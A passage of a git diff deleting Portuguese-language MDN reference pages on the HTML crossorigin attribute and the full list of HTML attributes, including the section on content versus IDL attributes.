- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/html/attributes/crossorigin/index.html b/files/pt-pt/web/html/attributes/crossorigin/index.html
deleted file mode 100644
index 6fb3125b7d..0000000000
--- a/files/pt-pt/web/html/attributes/crossorigin/index.html
+++ /dev/null
@@ -1,88 +0,0 @@
----
-title: 'Atributo CORS: Solicitar acesso CORS para o conteúdo'
-slug: Web/HTML/Attributes/crossorigin
-tags:
- - Avançado
- - CORS
- - HTML
- - Precisa de Exemplo
- - Referencia
- - Segurança
-translation_of: Web/HTML/Attributes/crossorigin
-original_slug: Web/HTML/CORS_settings_attributes
----
-<p><span class="seoSummary">In HTML5, some HTML elements which provide support for <a href="/en-US/docs/Web/HTTP/CORS">CORS</a>, such as {{ HTMLElement("img") }}, {{ HTMLElement("video") }} or {{ HTMLElement("script") }}, have a <code>crossorigin</code> attribute (<code>crossOrigin</code> property), which lets you configure the CORS requests for the element's fetched data.</span> These attributes are enumerated, and have the following possible values:</p>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Keyword</td>
- <td class="header">Description</td>
- </tr>
- <tr>
- <td><code>anonymous</code></td>
- <td>CORS requests for this element will have the credentials flag set to 'same-origin'.</td>
- </tr>
- <tr>
- <td><code>use-credentials</code></td>
- <td>CORS requests for this element will have the credentials flag set to 'include'.</td>
- </tr>
- </tbody>
-</table>
-
-<p>By default (that is, when the attribute is not specified), CORS is not used at all. The "anonymous" keyword means that there will be no exchange of <strong>user credentials</strong> via cookies, client-side SSL certificates or HTTP authentication as described in the <a class="external" href="http://www.w3.org/TR/cors/#user-credentials">Terminology section of the CORS specification</a>, unless it is in the same origin.</p>
-
-<p>An invalid keyword and an empty string will be handled as the <code>anonymous</code> keyword.</p>
-
-<h3 id="Exemplo_crossorigin_with_the_script_element">Exemplo: crossorigin with the script element</h3>
-
-<p>You can use the following {{HTMLElement("script")}} element to tell a browser to execute the <code>https://example.com/example-framework.js</code> script without sending user-credentials.</p>
-
-<pre class="brush: html">&lt;script src="https://example.com/example-framework.js"
- crossorigin="anonymous"&gt;&lt;/script&gt;</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'infrastructure.html#cors-settings-attributes', 'CORS settings attributes')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'embedded-content.html#attr-img-crossorigin', 'crossorigin')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<h3 id="&lt;script_crossorigin>">&lt;script crossorigin&gt;</h3>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("html.elements.script.crossorigin")}}</p>
-
-<h3 id="&lt;video_crossorigin>">&lt;video crossorigin&gt;</h3>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("html.elements.video.crossorigin")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/HTTP/CORS">Cross-Origin Resource Sharing (CORS)</a></li>
-</ul>
-
-<div>{{QuickLinksWithSubpages("/en-US/docs/Web/HTML/")}}</div>
diff --git a/files/pt-pt/web/html/attributes/index.html b/files/pt-pt/web/html/attributes/index.html
deleted file mode 100644
index 064acf59e9..0000000000
--- a/files/pt-pt/web/html/attributes/index.html
+++ /dev/null
@@ -1,660 +0,0 @@
----
-title: Lista de atributos HTML
-slug: Web/HTML/Attributes
-tags:
- - HTML
- - Referencia
- - Web
- - atributo
-translation_of: Web/HTML/Attributes
-original_slug: Web/HTML/Atributos
----
-<p>Elementos em HTML têm <strong>atributos</strong>; estes são valores adicionais que configuram os elementos ou ajustam o seu comportamento em vários modos para corresponderem aos critérios que os utilizadores pretendem.</p>
-
-<h2 id="Lista_de_Atributos">Lista de Atributos</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th>Nome do Atributo</th>
- <th>Elementos</th>
- <th>Descrição</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td><code>accept</code></td>
- <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
- <td>Lista de tipos que o servidor aceita, é usualmente um tipo de ficheiro.</td>
- </tr>
- <tr>
- <td><code>accept-charset</code></td>
- <td>{{ HTMLElement("form") }}</td>
- <td>Lista de codificações de caracteres (charsets) que são suportadas.</td>
- </tr>
- <tr>
- <td><code>accesskey</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Atributo global</a></td>
- <td>Define um atalho do teclado para activar ou adicionar foco ao elemento.</td>
- </tr>
- <tr>
- <td><code>action</code></td>
- <td>{{ HTMLElement("form") }}</td>
- <td>O URI dum programa que processa a informação submetida através deste formulário.</td>
- </tr>
- <tr>
- <td><code>align</code></td>
- <td>{{ HTMLElement("applet") }}, {{ HTMLElement("caption") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }},  {{ HTMLElement("hr") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }},  {{ HTMLElement("td") }},  {{ HTMLElement("tfoot") }} , {{ HTMLElement("th") }}, {{ HTMLElement("thead") }}, {{ HTMLElement("tr") }}</td>
- <td>Especifica o alinhamento horizontal do elemento.</td>
- </tr>
- <tr>
- <td><code>alt</code></td>
- <td>{{ HTMLElement("applet") }}, {{ HTMLElement("area") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}</td>
- <td>Texto alternativo no caso de uma imagem não poder ser mostrada.</td>
- </tr>
- <tr>
- <td><code>async</code></td>
- <td>{{ HTMLElement("script") }}</td>
- <td>Indicates that the script should be executed asynchronously.</td>
- </tr>
- <tr>
- <td><code>autocomplete</code></td>
- <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
- <td>Indicates whether controls in this form can by default have their values automatically completed by the browser.</td>
- </tr>
- <tr>
- <td><code>autofocus</code></td>
- <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
- <td>The element should be automatically focused after the page loaded.</td>
- </tr>
- <tr>
- <td><code>autoplay</code></td>
- <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
- <td>The audio or video should play as soon as possible.</td>
- </tr>
- <tr>
- <td><code>autosave</code></td>
- <td>{{ HTMLElement("input") }}</td>
- <td>Previous values should persist dropdowns of selectable values across page loads.</td>
- </tr>
- <tr>
- <td><code>bgcolor</code></td>
- <td>{{ HTMLElement("body") }}, {{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("table") }}, {{ HTMLElement("tbody") }}, {{ HTMLElement("tfoot") }}, {{ HTMLElement("td") }}, {{ HTMLElement("th") }}, {{ HTMLElement("tr") }}</td>
- <td>
- <p>Background color of the element.</p>
-
- <div class="note">
- <p><strong>Nota:</strong> This is a legacy attribute. Please use the CSS {{ Cssxref("background-color") }} property instead.</p>
- </div>
- </td>
- </tr>
- <tr>
- <td><code>border</code></td>
- <td>{{ HTMLElement("img") }}, {{ HTMLElement("object") }}, {{ HTMLElement("table") }}</td>
- <td>
- <p>The border width.</p>
-
- <div class="note">
- <p><strong>Nota:</strong> This is a legacy attribute. Please use the CSS {{ Cssxref("border") }} property instead.</p>
- </div>
- </td>
- </tr>
- <tr>
- <td><code>buffered</code></td>
- <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
- <td>Contains the time range of already buffered media.</td>
- </tr>
- <tr>
- <td><code>challenge</code></td>
- <td>{{ HTMLElement("keygen") }}</td>
- <td>A challenge string that is submitted along with the public key.</td>
- </tr>
- <tr>
- <td><code>charset</code></td>
- <td>{{ HTMLElement("meta") }}, {{ HTMLElement("script") }}</td>
- <td>Declares the character encoding of the page or script.</td>
- </tr>
- <tr>
- <td><code>checked</code></td>
- <td>{{ HTMLElement("command") }}, {{ HTMLElement("input") }}</td>
- <td>Indicates whether the element should be checked on page load.</td>
- </tr>
- <tr>
- <td><code>cite</code></td>
- <td>{{ HTMLElement("blockquote") }}, {{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("q") }}</td>
- <td>Contains a URI which points to the source of the quote or change.</td>
- </tr>
- <tr>
- <td><code>class</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Often used with CSS to style elements with common properties.</td>
- </tr>
- <tr>
- <td><code>code</code></td>
- <td>{{ HTMLElement("applet") }}</td>
- <td>Specifies the URL of the applet's class file to be loaded and executed.</td>
- </tr>
- <tr>
- <td><code>codebase</code></td>
- <td>{{ HTMLElement("applet") }}</td>
- <td>This attribute gives the absolute or relative URL of the directory where applets' .class files referenced by the code attribute are stored.</td>
- </tr>
- <tr>
- <td><code>color</code></td>
- <td>{{ HTMLElement("basefont") }}, {{ HTMLElement("font") }}, {{ HTMLElement("hr") }}</td>
- <td>
- <p>This attribute sets the text color using either a named color or a color specified in the hexadecimal #RRGGBB format.</p>
-
- <div class="note">
- <p><strong>Nota:</strong> This is a legacy attribute. Please use the CSS {{ Cssxref("color") }} property instead.</p>
- </div>
- </td>
- </tr>
- <tr>
- <td><code>cols</code></td>
- <td>{{ HTMLElement("textarea") }}</td>
- <td>Defines the number of columns in a textarea.</td>
- </tr>
- <tr>
- <td><code>colspan</code></td>
- <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
- <td>The colspan attribute defines the number of columns a cell should span.</td>
- </tr>
- <tr>
- <td><code>content</code></td>
- <td>{{ HTMLElement("meta") }}</td>
- <td>A value associated with <code>http-equiv</code> or <code>name</code> depending on the context.</td>
- </tr>
- <tr>
- <td><code>contenteditable</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Indicates whether the element's content is editable.</td>
- </tr>
- <tr>
- <td><code>contextmenu</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Defines the ID of a {{ HTMLElement("menu") }} element which will serve as the element's context menu.</td>
- </tr>
- <tr>
- <td><code>controls</code></td>
- <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
- <td>Indicates whether the browser should show playback controls to the user.</td>
- </tr>
- <tr>
- <td><code>coords</code></td>
- <td>{{ HTMLElement("area") }}</td>
- <td>A set of values specifying the coordinates of the hot-spot region.</td>
- </tr>
- <tr>
- <td><code><a href="/en-US/docs/Web/HTML/CORS_settings_attributes">crossorigin</a></code></td>
- <td>{{ HTMLElement("audio") }}, {{ HTMLElement("img") }}, {{ HTMLElement("link") }}, {{ HTMLElement("script") }}, {{ HTMLElement("video") }}</td>
- <td>How the element handles cross-origin requests</td>
- </tr>
- <tr>
- <td><code>data</code></td>
- <td>{{ HTMLElement("object") }}</td>
- <td>Specifies the URL of the resource.</td>
- </tr>
- <tr>
- <td><code>data-*</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Lets you attach custom attributes to an HTML element.</td>
- </tr>
- <tr>
- <td><code>datetime</code></td>
- <td>{{ HTMLElement("del") }}, {{ HTMLElement("ins") }}, {{ HTMLElement("time") }}</td>
- <td>Indicates the date and time associated with the element.</td>
- </tr>
- <tr>
- <td><code>default</code></td>
- <td>{{ HTMLElement("track") }}</td>
- <td>Indicates that the track should be enabled unless the user's preferences indicate something different.</td>
- </tr>
- <tr>
- <td><code>defer</code></td>
- <td>{{ HTMLElement("script") }}</td>
- <td>Indicates that the script should be executed after the page has been parsed.</td>
- </tr>
- <tr>
- <td><code>dir</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Defines the text direction. Allowed values are ltr (Left-To-Right) or rtl (Right-To-Left)</td>
- </tr>
- <tr>
- <td><code>dirname</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>disabled</code></td>
- <td>{{ HTMLElement("button") }}, {{ HTMLElement("command") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
- <td>Indicates whether the user can interact with the element.</td>
- </tr>
- <tr>
- <td><code>download</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
- <td>Indicates that the hyperlink is to be used for downloading a resource.</td>
- </tr>
- <tr>
- <td><code>draggable</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Defines whether the element can be dragged.</td>
- </tr>
- <tr>
- <td><code>dropzone</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Indicates that the element accept the dropping of content on it.</td>
- </tr>
- <tr>
- <td><code>enctype</code></td>
- <td>{{ HTMLElement("form") }}</td>
- <td>Defines the content type of the form date when the <code>method</code> is POST.</td>
- </tr>
- <tr>
- <td><code>for</code></td>
- <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
- <td>Describes elements which belongs to this one.</td>
- </tr>
- <tr>
- <td><code>form</code></td>
- <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
- <td>Indicates the form that is the owner of the element.</td>
- </tr>
- <tr>
- <td><code>formaction</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("button") }}</td>
- <td>Indicates the action of the element, overriding the action defined in the {{ HTMLElement("form") }}.</td>
- </tr>
- <tr>
- <td><code>headers</code></td>
- <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
- <td>IDs of the <code>&lt;th&gt;</code> elements which applies to this element.</td>
- </tr>
- <tr>
- <td><code>height</code></td>
- <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
- <td>
- <p>Specifies the height of elements listed here. For all other elements, use the CSS {{cssxref("height")}} property.</p>
-
- <div class="note">
- <p><strong>Nota:</strong> In some instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("height") }} property should be used instead.</p>
- </div>
- </td>
- </tr>
- <tr>
- <td><code>hidden</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Prevents rendering of given element, while keeping child elements, e.g. script elements, active.</td>
- </tr>
- <tr>
- <td><code>high</code></td>
- <td>{{ HTMLElement("meter") }}</td>
- <td>Indicates the lower bound of the upper range.</td>
- </tr>
- <tr>
- <td><code>href</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("link") }}</td>
- <td> The URL of a linked resource.</td>
- </tr>
- <tr>
- <td><code>hreflang</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
- <td>Specifies the language of the linked resource.</td>
- </tr>
- <tr>
- <td><code>http-equiv</code></td>
- <td>{{ HTMLElement("meta") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>icon</code></td>
- <td>{{ HTMLElement("command") }}</td>
- <td>Specifies a picture which represents the command.</td>
- </tr>
- <tr>
- <td><code>id</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Often used with CSS to style a specific element. The value of this attribute must be unique.</td>
- </tr>
- <tr>
- <td><code>integrity</code></td>
- <td>{{ HTMLElement("link") }}, {{ HTMLElement("script") }} </td>
- <td>
- <p>Security Feature that allows browsers to verify what they fetch. </p>
-
- <p><a href="/en-US/docs/">MDN Link</a></p>
- </td>
- </tr>
- <tr>
- <td><code>ismap</code></td>
- <td>{{ HTMLElement("img") }}</td>
- <td>Indicates that the image is part of a server-side image map.</td>
- </tr>
- <tr>
- <td><code>itemprop</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td> </td>
- </tr>
- <tr>
- <td><code>keytype</code></td>
- <td>{{ HTMLElement("keygen") }}</td>
- <td>Specifies the type of key generated.</td>
- </tr>
- <tr>
- <td><code>kind</code></td>
- <td>{{ HTMLElement("track") }}</td>
- <td>Specifies the kind of text track.</td>
- </tr>
- <tr>
- <td><code>label</code></td>
- <td>{{ HTMLElement("track") }}</td>
- <td>Specifies a user-readable title of the text track.</td>
- </tr>
- <tr>
- <td><code>lang</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Defines the language used in the element.</td>
- </tr>
- <tr>
- <td><code>language</code></td>
- <td>{{ HTMLElement("script") }}</td>
- <td>Defines the script language used in the element.</td>
- </tr>
- <tr>
- <td><code>list</code></td>
- <td>{{ HTMLElement("input") }}</td>
- <td>Identifies a list of pre-defined options to suggest to the user.</td>
- </tr>
- <tr>
- <td><code>loop</code></td>
- <td>{{ HTMLElement("audio") }}, {{ HTMLElement("bgsound") }}, {{ HTMLElement("marquee") }}, {{ HTMLElement("video") }}</td>
- <td>Indicates whether the media should start playing from the start when it's finished.</td>
- </tr>
- <tr>
- <td><code>low</code></td>
- <td>{{ HTMLElement("meter") }}</td>
- <td>Indicates the upper bound of the lower range.</td>
- </tr>
- <tr>
- <td><code>manifest</code></td>
- <td>{{ HTMLElement("html") }}</td>
- <td>Specifies the URL of the document's cache manifest.</td>
- </tr>
- <tr>
- <td><code>max</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
- <td>Indicates the maximum value allowed.</td>
- </tr>
- <tr>
- <td><code>maxlength</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
- <td>Defines the maximum number of characters allowed in the element.</td>
- </tr>
- <tr>
- <td><code>media</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}</td>
- <td>Specifies a hint of the media for which the linked resource was designed.</td>
- </tr>
- <tr>
- <td><code>method</code></td>
- <td>{{ HTMLElement("form") }}</td>
- <td>Defines which <a href="/en-US/docs/Web/HTTP">HTTP</a> method to use when submitting the form. Can be <code>GET</code> (default) or <code>POST</code>.</td>
- </tr>
- <tr>
- <td><code>min</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
- <td>Indicates the minimum value allowed.</td>
- </tr>
- <tr>
- <td><code>multiple</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
- <td>Indicates whether multiple values can be entered in an input of the type <code>email</code> or <code>file</code>.</td>
- </tr>
- <tr>
- <td><code>muted</code></td>
- <td>{{ HTMLElement("video") }}</td>
- <td>Indicates whether the audio will be initially silenced on page load.</td>
- </tr>
- <tr>
- <td><code>name</code></td>
- <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}, {{ HTMLElement("map") }}, {{ HTMLElement("meta") }}, {{ HTMLElement("param") }}</td>
- <td>Name of the element. For example used by the server to identify the fields in form submits.</td>
- </tr>
- <tr>
- <td><code>novalidate</code></td>
- <td>{{ HTMLElement("form") }}</td>
- <td>This attribute indicates that the form shouldn't be validated when submitted.</td>
- </tr>
- <tr>
- <td><code>open</code></td>
- <td>{{ HTMLElement("details") }}</td>
- <td>Indicates whether the details will be shown on page load.</td>
- </tr>
- <tr>
- <td><code>optimum</code></td>
- <td>{{ HTMLElement("meter") }}</td>
- <td>Indicates the optimal numeric value.</td>
- </tr>
- <tr>
- <td><code>pattern</code></td>
- <td>{{ HTMLElement("input") }}</td>
- <td>Defines a regular expression which the element's value will be validated against.</td>
- </tr>
- <tr>
- <td><code>ping</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>placeholder</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
- <td>Provides a hint to the user of what can be entered in the field.</td>
- </tr>
- <tr>
- <td><code>poster</code></td>
- <td>{{ HTMLElement("video") }}</td>
- <td>A URL indicating a poster frame to show until the user plays or seeks.</td>
- </tr>
- <tr>
- <td><code>preload</code></td>
- <td>{{ HTMLElement("audio") }}, {{ HTMLElement("video") }}</td>
- <td>Indicates whether the whole resource, parts of it or nothing should be preloaded.</td>
- </tr>
- <tr>
- <td><code>radiogroup</code></td>
- <td>{{ HTMLElement("command") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>readonly</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
- <td>Indicates whether the element can be edited.</td>
- </tr>
- <tr>
- <td><code>rel</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("link") }}</td>
- <td>Specifies the relationship of the target object to the link object.</td>
- </tr>
- <tr>
- <td><code>required</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
- <td>Indicates whether this element is required to fill out or not.</td>
- </tr>
- <tr>
- <td><code>reversed</code></td>
- <td>{{ HTMLElement("ol") }}</td>
- <td>Indicates whether the list should be displayed in a descending order instead of a ascending.</td>
- </tr>
- <tr>
- <td><code>rows</code></td>
- <td>{{ HTMLElement("textarea") }}</td>
- <td>Defines the number of rows in a text area.</td>
- </tr>
- <tr>
- <td><code>rowspan</code></td>
- <td>{{ HTMLElement("td") }}, {{ HTMLElement("th") }}</td>
- <td>Defines the number of rows a table cell should span over.</td>
- </tr>
- <tr>
- <td><code>sandbox</code></td>
- <td>{{ HTMLElement("iframe") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>scope</code></td>
- <td>{{ HTMLElement("th") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>scoped</code></td>
- <td>{{ HTMLElement("style") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>seamless</code></td>
- <td>{{ HTMLElement("iframe") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>selected</code></td>
- <td>{{ HTMLElement("option") }}</td>
- <td>Defines a value which will be selected on page load.</td>
- </tr>
- <tr>
- <td><code>shape</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>size</code></td>
- <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
- <td>Defines the width of the element (in pixels). If the element's <code>type</code> attribute is <code>text</code> or <code>password</code> then it's the number of characters.</td>
- </tr>
- <tr>
- <td><code>sizes</code></td>
- <td>{{ HTMLElement("link") }}, {{ HTMLElement("img") }}, {{ HTMLElement("source") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>slot</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Assigns a slot in a shadow DOM shadow tree to an element.</td>
- </tr>
- <tr>
- <td><code>span</code></td>
- <td>{{ HTMLElement("col") }}, {{ HTMLElement("colgroup") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>spellcheck</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Indicates whether spell checking is allowed for the element.</td>
- </tr>
- <tr>
- <td><code>src</code></td>
- <td>{{ HTMLElement("audio") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("track") }}, {{ HTMLElement("video") }}</td>
- <td>The URL of the embeddable content.</td>
- </tr>
- <tr>
- <td><code>srcdoc</code></td>
- <td>{{ HTMLElement("iframe") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>srclang</code></td>
- <td>{{ HTMLElement("track") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>srcset</code></td>
- <td>{{ HTMLElement("img") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>start</code></td>
- <td>{{ HTMLElement("ol") }}</td>
- <td>Defines the first number if other than 1.</td>
- </tr>
- <tr>
- <td><code>step</code></td>
- <td>{{ HTMLElement("input") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>style</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Defines CSS styles which will override styles previously set.</td>
- </tr>
- <tr>
- <td><code>summary</code></td>
- <td>{{ HTMLElement("table") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>tabindex</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Overrides the browser's default tab order and follows the one specified instead.</td>
- </tr>
- <tr>
- <td><code>target</code></td>
- <td>{{ HTMLElement("a") }}, {{ HTMLElement("area") }}, {{ HTMLElement("base") }}, {{ HTMLElement("form") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>title</code></td>
- <td><a href="/en-US/docs/HTML/Global_attributes">Global attribute</a></td>
- <td>Text to be displayed in a tooltip when hovering over the element.</td>
- </tr>
- <tr>
- <td><code>type</code></td>
- <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("command") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("object") }}, {{ HTMLElement("script") }}, {{ HTMLElement("source") }}, {{ HTMLElement("style") }}, {{ HTMLElement("menu") }}</td>
- <td>Defines the type of the element.</td>
- </tr>
- <tr>
- <td><code>usemap</code></td>
- <td>{{ HTMLElement("img") }},  {{ HTMLElement("input") }}, {{ HTMLElement("object") }}</td>
- <td> </td>
- </tr>
- <tr>
- <td><code>value</code></td>
- <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("li") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("param") }}</td>
- <td>Defines a default value which will be displayed in the element on page load.</td>
- </tr>
- <tr>
- <td><code>width</code></td>
- <td>{{ HTMLElement("canvas") }}, {{ HTMLElement("embed") }}, {{ HTMLElement("iframe") }}, {{ HTMLElement("img") }}, {{ HTMLElement("input") }}, {{ HTMLElement("object") }}, {{ HTMLElement("video") }}</td>
- <td>
- <p>For the elements listed here, this establishes the element's width.</p>
-
- <div class="note">
- <p><strong>Nota:</strong> For all other instances, such as {{ HTMLElement("div") }}, this is a legacy attribute, in which case the CSS {{ Cssxref("width") }} property should be used instead.</p>
- </div>
- </td>
- </tr>
- <tr>
- <td><code>wrap</code></td>
- <td>{{ HTMLElement("textarea") }}</td>
- <td>Indicates whether the text should be wrapped.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Conteúdo_versus_atributos_IDL">Conteúdo versus atributos IDL</h2>
-
-<p>In HTML, most attributes have two faces: the <strong>content attribute</strong> and the <strong>IDL attribute</strong>.</p>
-
-<p>The content attribute is the attribute as you set it from the content (the HTML code) and you can set it or get it via {{domxref("element.setAttribute()")}} or {{domxref("element.getAttribute()")}}. The content attribute is always a string even when the expected value should be an integer. For example, to set an {{HTMLElement("input")}} element's <code>maxlength</code> to 42 using the content attribute, you have to call <code>setAttribute("maxlength", "42")</code> on that element.</p>
-
-<p>The IDL attribute is also known as a JavaScript property. These are the attributes you can read or set using JavaScript properties like <code class="moz-txt-verticalline">element.foo</code>. The IDL attribute is always going to use (but might transform) the underlying content attribute to return a value when you get it and is going to save something in the content attribute when you set it. In other words, the IDL attributes, in essence, reflect the content attributes.</p>
-
-<p>Most of the time, IDL attributes will return their values as they are really used. For example, the default <code>type</code> for {{HTMLElement("input")}} elements is "text", so if you set <code>input.type="foobar"</code>, the <code>&lt;input&gt;</code> element will be of type text (in the appearance and the behavior) but the "type" content attribute's value will be "foobar". However, the <code>type</code> IDL attribute will return the string "text".</p>
-
-<p>IDL attributes are not always strings; for example, <code>input.maxlength</code> is a number (a signed long). When using IDL attributes, you read or set values of the desired type, so <code>input.maxlength</code> is always going to return a number and when you set <code>input.maxlength</code> ,it wants a number. If you pass another type, it is automatically converted to a number as specified by the standard JavaScript rules for type conversion.</p>
-
